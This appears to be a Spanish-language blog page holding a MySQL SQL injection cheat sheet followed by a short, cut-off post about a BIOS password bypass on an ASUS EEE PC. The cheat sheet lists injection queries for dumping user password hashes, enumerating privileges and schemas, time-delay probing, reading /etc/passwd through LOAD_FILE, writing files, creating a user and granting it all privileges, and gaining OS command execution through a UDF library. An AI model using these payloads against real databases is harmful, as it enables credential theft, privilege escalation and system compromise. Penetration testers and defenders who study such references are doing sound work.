Tabla de Trucos para Inyección de SQL

Versión SELECT @@version
Comentarios SELECT 1; #comentario
SELECT /*comentario*/1;
Usuario Actual SELECT user();
SELECT system_user();
Listar Usuarios SELECT user FROM mysql.user; — priv
Listar Hashes de Passwords SELECT host, user, password FROM mysql.user; — priv
Crackear Passwords John the Ripper crackea hashes de MySQL.
Listar privilegios SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privs
SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privs
SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)
SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns
Listar cuentas DBA SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;
SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv
Base de Datos Actual SELECT database()
Listar Bases de Datos SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db — priv
Listar Columnas SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Listar Tablas SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Encontrar Tablas apartir de un nombre de Columna SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — en cuentra las tablas con columnas llamadas ‘username’
Seleccionar la N Fila SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # filas numeradas desde 0
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # filas numeradas desde 0
Seleccionar el N caracter SELECT substr(‘abcd’, 3, 1); # devuelve c
AND Bit a Bit SELECT 6 & 2; # devuelve 2
SELECT 6 & 1; # devuelve 0
Valor ASCII -> Caracter SELECT char(65); # devuelve A
Char -> ASCII Value SELECT ascii(‘A’); # returns 65
Casting SELECT cast(‘1′ AS unsigned integer);
SELECT cast(‘123′ AS char);
Concatenación de cadenas SELECT CONCAT(‘A’,’B’); #devuelve AB
SELECT CONCAT(‘A’,’B’,’C’); # devuelve ABC
Sentencia IF SELECT if(1=1,’foo’,’bar’); — devuelve ‘foo’
Sentencia CASE SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # devuelve A
Evitar Comillas SELECT 0×414243; # devuelve ABC
Demora de Tiempo SELECT BENCHMARK(1000000,MD5(‘A’));
SELECT SLEEP(5); # >= 5.0.12
Hacer Peticiones DNS ¿Imposible?
Ejecución de Comandios Si mysqld (<5.0) se ejecuta como root Y te haces con una cuenta DBA podrás ejecutar comandos del SO subiendo un archivo compartido a /usr/lib(o similar). El archivo .so debe contener una Función de Usuario Definida (UDF). raptor_udf.c explica exactamente como puedes hacerlo. Recuerda compilar para la arquitectura del objetivo pues no tiene porque ser la misma que la del atacante.
Acceso a Archivos Locales …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, solo puede leer archivos de lectura universales.
SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, escribir en archivo de sistema
Hostname, Dirección IP ¿Imposible?
Crear Usuarios CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv
Borrar Usuarios DROP USER test1; — priv
Make User DBA GRANT ALL PRIVILEGES ON *.* TO test1@’%’; — priv
Localización de los archivos de BD SELECT @@datadir;
Default/System Databases information_schema (>= mysql 5.0)
mysql
1

Fallo de Seguridad en EEE PC

Tengo un ASUS EEE PC 1000H, el cual hasta hace poco tenía protegido por contraseña en la BIOS, por lo que pensaba que era totalmente invulnerable a cualquier ataque directo sin mi consentimiento.
Estoy apuntado a la lista de correo de HAMLAB, y anoche me llegaba el siguiente mensaje:

Hola chicas,
esta  semana, es mi semana de suerte «casual hack»,
que significa que estoy descubriendo vulnerabilidades por pura casualidad. 😛

Bueno, que hace unos minutos  acabo de descubrir algo que me ha dejado  flipado y me gustaría que colaboraseis a modo de encuesta.
Resulta que tengo puesta una password de acceso en la B.I.O.S. de mi ASUS eeepc 904HD, pues bien, si introduces la password mal, te  da otro intento, y asi tres veces  hasta que se queda bloqueado.. y hay que reiniciar. hasta aqui, OK todo correcto.
Pues bien,
<IRONIC MODE>
Resulta que si en cualquiera de los intentos introduces la siguiente y complicada secuencia mono-caracter:
«PULSAR ENTER».
(si si pero literal, solamente tienes que pulsar «ENTER»…)
voilà, ya estás dentro.
A tomar vientos mi proteccion de password por BIOS,

</IRONIC MODE>

y yo que andaba tan tranquilo pensando que nadie podría ver el contenido de mi /home sin mi permiso…
(más…)
1